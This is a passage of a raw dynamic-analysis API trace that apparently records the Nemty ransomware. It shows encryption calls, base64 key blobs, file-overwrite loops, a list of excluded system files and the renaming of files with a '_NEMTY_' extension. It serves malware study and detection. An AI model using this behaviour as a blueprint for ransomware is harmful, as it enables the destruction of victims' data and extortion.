hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0105.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0105.614] Sleep (dwMilliseconds=0x5) [0105.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf29ac2d0, dwHighDateTime=0x1d561e7)) [0105.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf29ac2d0, dwHighDateTime=0x1d561e7)) [0105.626] GetLastError () returned 0x5 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.626] GetLastError () returned 0x5 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.626] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.626] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.626] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0105.626] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="IoPQdmZhv3Jby2dl5FQMzoaMPCd17dLqB64Pvh4Gb9cJLLyg3h9XlrHRSdSxlfTI\r\n9KcgEleUQOZWbBcFRR+NiuB7Qj6IkeRPIMpFc0JNHmITd/F66sqLEPdbduNAA+E1\r\nlJEOwh+MixsqbviD9wpdKYzGDU/a3lp9VMB4o/hVKIZR+ZV3pdEnYsPFNsMQbDUN\r\nY0FAUdN3iLu0qjiBTah2cmlDFu2JRn9a0YPWUWzKOxEo/UeD4dsVlZn/9wlepoU7\r\n9LYUFf94iUBbBZ2MWAn1C/DhqG+4qgx7MQZBs/8hctfdp+YsvgmkmQJcN6tzNyo2\r\nRVLvUz0YWQHxYnEM2KnZEw==\r\n", pcchString=0x653ef9c) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0105.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.626] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.627] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.735] CloseHandle (hObject=0xffffffff) returned 0 [0105.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0105.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0105.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw32.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw32.bmp._nemty_kgobjgd_")) returned 0 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0105.735] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x231f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw32.jpg", cAlternateFileName="")) returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="..") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="...") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="windows") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="$RECYCLE.BIN") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="rsa") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="NTDETECT.COM") returned 1 [0105.735] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="ntldr") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="MSDOS.SYS") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="IO.SYS") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="boot.ini") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="boot.ini") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="ntuser.dat") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="desktop.ini") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="CONFIG.SYS") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="RECYCLER") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="BOOTSECT.BAK") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="bootmgr") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="programdata") returned 1 [0105.736] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2="appdata") returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.jpg", lpUsedDefaultChar=0x0) returned 15 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.jpg", lpUsedDefaultChar=0x0) returned 15 [0105.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.jpg", lpUsedDefaultChar=0x0) returned 15 [0105.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.jpg", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.jpg", lpUsedDefaultChar=0x0) returned 15 [0105.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0105.736] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0105.736] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0105.736] Sleep (dwMilliseconds=0x5) [0105.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2adcdd0, dwHighDateTime=0x1d561e7)) [0105.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2adcdd0, dwHighDateTime=0x1d561e7)) [0105.750] GetLastError () returned 0x5 [0105.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.750] GetLastError () returned 0x5 [0105.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.751] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0105.751] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="MbddkiTJtYqML4O4QCqH0eCmhGNXLgiFK14zxy5qH14qk/FlmxFzF1nA9xLpC/TU\r\nNbd0+cqpu3yN6PEBcGW20lzcHOFKOJclBFQbu3qkfQMyxqCPC78lTH/IVV3Z3JNG\r\n6Xt0dxDSe0BKqwBfY8c5WuX2WvP38bWYGaDA4UI571nBsMnACSkoclH9dPQJnEkr\r\nMsrsJNEfNFCR00v1/Cl+FxqGKCBKx/9b74HkpdStLtC0Ae+F/LMYh3qoSO2GtShF\r\nUdAi0EvlYQpZW9ttAhnCjC+dwBjojxvmeyaCzn8I92dMwNpwM+smbq2miiAAXWG1\r\njz5WYj4Lse48785j/730VQ==\r\n", pcchString=0x653ef9c) returned 1 [0105.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0105.751] RtlAllocateHeap 